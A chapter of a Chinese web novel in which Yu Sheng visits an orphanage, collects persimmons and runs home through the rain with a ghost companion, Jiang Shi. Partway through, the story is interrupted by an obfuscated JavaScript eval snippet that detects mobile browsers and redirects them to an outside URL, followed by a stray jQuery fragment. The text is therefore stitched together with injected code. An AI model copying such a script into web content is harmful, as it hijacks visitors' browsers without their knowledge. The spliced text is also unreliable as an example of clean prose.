念头堪堪浮现，到底没再说别的。
秦淑含站在小食堂门口唤着喻声和福珠，喻声招了招手示意，随即把江时手里的图画书接过来，翻开确认照片好好地夹在里面，才连带着玩偶一起小心地放回袋子里。
“你先在这里等我一会儿，我和秦奶奶说一下，我们就回去。”
江时嗯了一声，知道这会他也帮不上忙，就嘱咐喻声小心点。
喻声往上掂了掂怀中熟睡的福珠，底下腾空的手晃了晃，江时把袋子挂了上去，她才笑着说知道了。
天空被泼了颜料，飞鸟是画笔，把橙黑搅在一起，把所有暂时无法言说的情绪化成布在上面星星点点的灰。
五岁的小孩已经有些重量，何况正在熟睡中，全身都依赖着喻声，不长的一段路，喻声走得很缓、很稳，台阶一步一步，走到时也花了点时间。
“怎么睡着了？”
秦淑含迎上来，伸手想接过福珠，喻声侧了一下，避开，依旧稳稳当当抱着：“秦奶奶，我抱着福珠吧，一会再找地方放下，你的腰千万要注意，今年都重复闪腰好几次了。”
秦淑含没拗过喻声，笑着摇头，还是坚持从喻声手中拎过袋子，腾了张椅子给她坐：“你当年来的时候——是两年多以前吧，当时不说健步如飞，就是干好几个小时的活也不嫌累，这两年老得太快了，力不从心了很多。”
“这几年来了太多孩子，您太辛苦了。”
喻声坐下，视线往旁边绕了两圈，落在一群半大点，围在保温桶边争着多要个饺子的孩子身上。
这群孩子，和福珠年龄差不多的也有，裹着毯子，还需要护工抱着的也有，一个个如同柿子树上结的柿子一般，澄亮、锦簇、昂扬高挂，“时间过得太快了，福珠在我印象里还是小小一个，如今底下也一堆弟弟妹妹了。”
秦淑含点了点福珠的鼻头：“福珠长再大，也还是最粘你。”
喻声笑，低眼看向怀里的福珠，声音很轻：“这倒是。”
“福珠的身体还好吗？”
“还是那样，好几年了，也没法做手术，只能保守治疗，走一步算一步。”
聊到伤心的地方，秦淑含眼泪将落未落，聚在眼眶里，她低头掩着眼用手胡乱擦去，强撑个笑抬眼看喻声。福珠的病、福利院众多孩子的病往她脸上剜开很多条沟沟壑壑，这一笑沟壑又深陷了些，没擦干的泪弯绕成河填进了沟壑里。
她转着话题，问：“留下来吃饭吧，今晚饺子包了很多，有你最爱吃的白菜肉馅。”
喻声抿唇，后悔自己脱口而出的提问，也明白此刻所有的安慰都是徒劳，也许是她思索时手握得紧了点，怀里的福珠悠悠转醒。
“喻声姐姐，秦奶奶——”
“饺子！”
福珠朦胧的眼在看到饺子时陡然亮了起来，得知是秦淑含亲手包的时双眼变得更加灼灼：“我要吃！”
喻声被逗笑，往下扯好她睡得皱巴巴的衣服，轻拍了下背把她放下来，小姑娘刚站直就撒着欢奔向饺子，跑到一半想起来什么，还返回来踮脚伸直手把喻声送她的礼物袋子取下来抱在怀里，再掉头去拿碗领饺子。
“慢点！这孩子。”
秦淑含的泪被福珠明亮如太阳的话蒸发干，喻声的心也比刚才轻快了不少，她拒绝了秦淑含的好意：“秦奶奶，我该回去了，不然太晚了夜路不好走。”
“你瞧我这记性，我都还习惯你住学校，公交直达校内那会呢。现在自己住了，确实该早点回家，安全点。”秦淑含说，“你等一下。”
她撑了下桌子站起来，转身进厨房，不多时提了袋柿子出来，和两年前一样，往喻声手里塞：“前几天摘了，一直在等你来。”
不止两年前，每一年，柿子树结果的日子里，摘好的柿子，秦淑含都会给喻声留一袋，但她不会提让喻声来拿，怕会让这份关心背上贬义的意味。
只是每到柿子成熟的时节，她会带着福珠在门口玩一会儿。
这是福珠告诉喻声的，因此每年喻声这个时间段就算没空，也会抽时间来，算是彼此之间一种心照不宣的默契。
喻声笑着接过，和捧着碗回来的福珠告别，劝住要送送她的秦淑含，从热闹的、冷白的灯光中退出，迈入空旷得只剩江时、暖黄的夕阳里。
喻声在台阶这头，江时在台阶那头，从低朝高望着她，伴随着掀开的食堂帘子嘴角漾起熟悉的小括弧。
喻声迈得很快、很急，台阶一步到两步，等到平地时小跑了下。
“等很久了吗？”
“没有。”江时顿了一下，“怕你找到我要很久，就在这里等你了。”
“福利院才多大，你去哪找你都不会太久的。”喻声笑，“现在回家吧。”
从福利院回到公寓，只需要在福利院门口坐六站公交车，在书店下车，再走五分钟就能到。
出来的时间很不凑巧，等到整片天空都熬成可见度很低的黑，才等到公交车出现。
从食堂台阶处走到公交站，直到上了车，两人都没再说一句话，一开口，仿佛话题兜着转着又会回到原点——
喻声抱着福珠离开树下的长椅，背对着江时的时候，耳边传来他的提问。
“我的存在，也会让你变得开心一点吗？”
上了车，喻声坐到窗边，目光可以自然地放到没人的风景上时，才有空思考这个问题，包括苦恼的“习惯”一词。
习惯和开心是有区别的。
习惯意味着羁绊，意味着片段记忆被占据；而开心意味着不后悔，意味着点状记忆可以珍藏。
“如果回到那天，我仍然会在自我介绍后，问你想不想谈谈。”
外面淅淅沥沥下起了雨，雨水在车窗上蜿蜒。
江时忽然轻笑：“知道了。”
他坐在喻声旁边，靠过道的位置，趁着车内下班的乘客都疲倦地垂下双眼没注意周围的间隙，把喻声掉了一半的有线耳机塞回她耳朵里。
雨水滴答声、公交到站的播报声、耳机里清晰的歌声、江时缓缓的说话声，同时传来，喻声超负荷，有点宕机。
“前方到站，家和书店，请从后门下车，注意脚下安全。”
“以后也是，有想谈的可以跟我谈。”
“不走吗？”
江时站起来，指了指窗外，问。
喻声扭头，从模糊的车窗依稀看到亮着的“家和书店”的招牌，忙不迭地把柿子提好，手捂着头往下冲刺，到书店屋檐下才停住。
比起喻声的慌乱，江时显得不疾不徐。
他路过时，雨水就停在半空，落不到他身上，等他错开时才砸向地面。
——鬼果然活得比人更自在。
喻声想。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373071|184024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“不买把伞吗？”
“需要伞吗？”
一道声音飘在空中，一道声音落到实地，书店里的灯光透过虚掩的门也照得一明一暗，喻声站在明暗分界线上，下意识往明亮的那面望去。
是一个很白净的男生，刚从书店里走出来。
他穿着白衬衫西装裤，衬衫虚虚挽到手肘处，衬得骨骼感明显，脸上挂着眼镜，拿着伞递过来的那只手上戴着黑色腕表，另一只手提着购物袋，里面装着两本书。
江时被劫了话茬，语气冷漠：“肯定是书店派来卖伞的。”
喻声：“……”
见喻声久久不回应，男生又把伞往喻声面前递了一下，开口：“我家离这儿不远，我跑过去就好了，伞你拿着吧，别感冒了。”
江时靠着书店的玻璃门：“别信他，谁知道收了伞后会提什么要求。”
“……”
喻声不露痕迹地挡住江时的视线，无声地阻止他再说话，“谢谢啊，不过不用了，雨不大，我也跑回去就好了。”
男生愣了一下，似乎没想到喻声会拒绝，他的话都堵在喉咙里，把脸憋红，犹豫半天终于闭眼破罐子破摔地问出来：“我是想问，可不可以要个联系方式？我不会打扰你的。”
江时靠过来，拉住喻声的手腕往后撤了一步，上下打量着男生：“我说对了吧，果然不怀好意。”
男生看不到江时，却能看到喻声在往后退，眼神不由黯淡了一瞬。
“不好意思啊。”喻声礼貌拒绝，“不太方便。”
“……好，打扰你了。”
男生勉强笑了下，没再说什么，逃荒似的躲进雨中，有伞也忘了打开。
“我还以为你会不懂怎么拒绝。”
“为什么这么说？”
“你不是不喜欢跟人打交道吗？”
“这叫社恐。”
江时从善如流：“你不是社恐吗？”
喻声瞥了他一眼：“你在旁边这么叽叽喳喳的，谁还顾得上社恐。”
江时：“……”
他望天，选择性忽略喻声的话，几番辗转又绕回最开始的话题上来：“买把伞吧？”
喻声掌心朝上，伸到屋檐外，感受雨的温度，缩回手后又看向江时。
“淋雨吧，我们尽快回家。”
偶尔，也想像那些如柿子般的小孩一样昂扬朝气一次，哪怕是用最幼稚最无厘头的方式，哪怕最终被定义为肆意妄为。
好在还有陪喻声胡闹的人。
江时扬了扬眉，无声接受她的提议，喻声毫无防备，被扯住右手腕就往雨中跑。
手腕处他刚拉着她往后退时的温度还没撤去，马上又覆上新的，手与手的间隙里有水滑过，烫得喻声一激灵。
说好是淋雨，也不止喻声在淋，江时不再避开，顺从地让雨穿过他。
世界上最小的雨，世界上最雀跃的心脏。
喻声笑，左手掰开江时的手指，在他扭头惊讶的眼神中冲到他前面，主动拉着他往家的方向跑。
雨的气味和声音充盈两人之间，愈发清晰。
——普鲁斯特效应。
喻声在写文时反复运用过的、用于双方绑定记忆和情感的一种效应。
在此刻。
喻声确信。
以后淋的每一场雨，都会想起江时。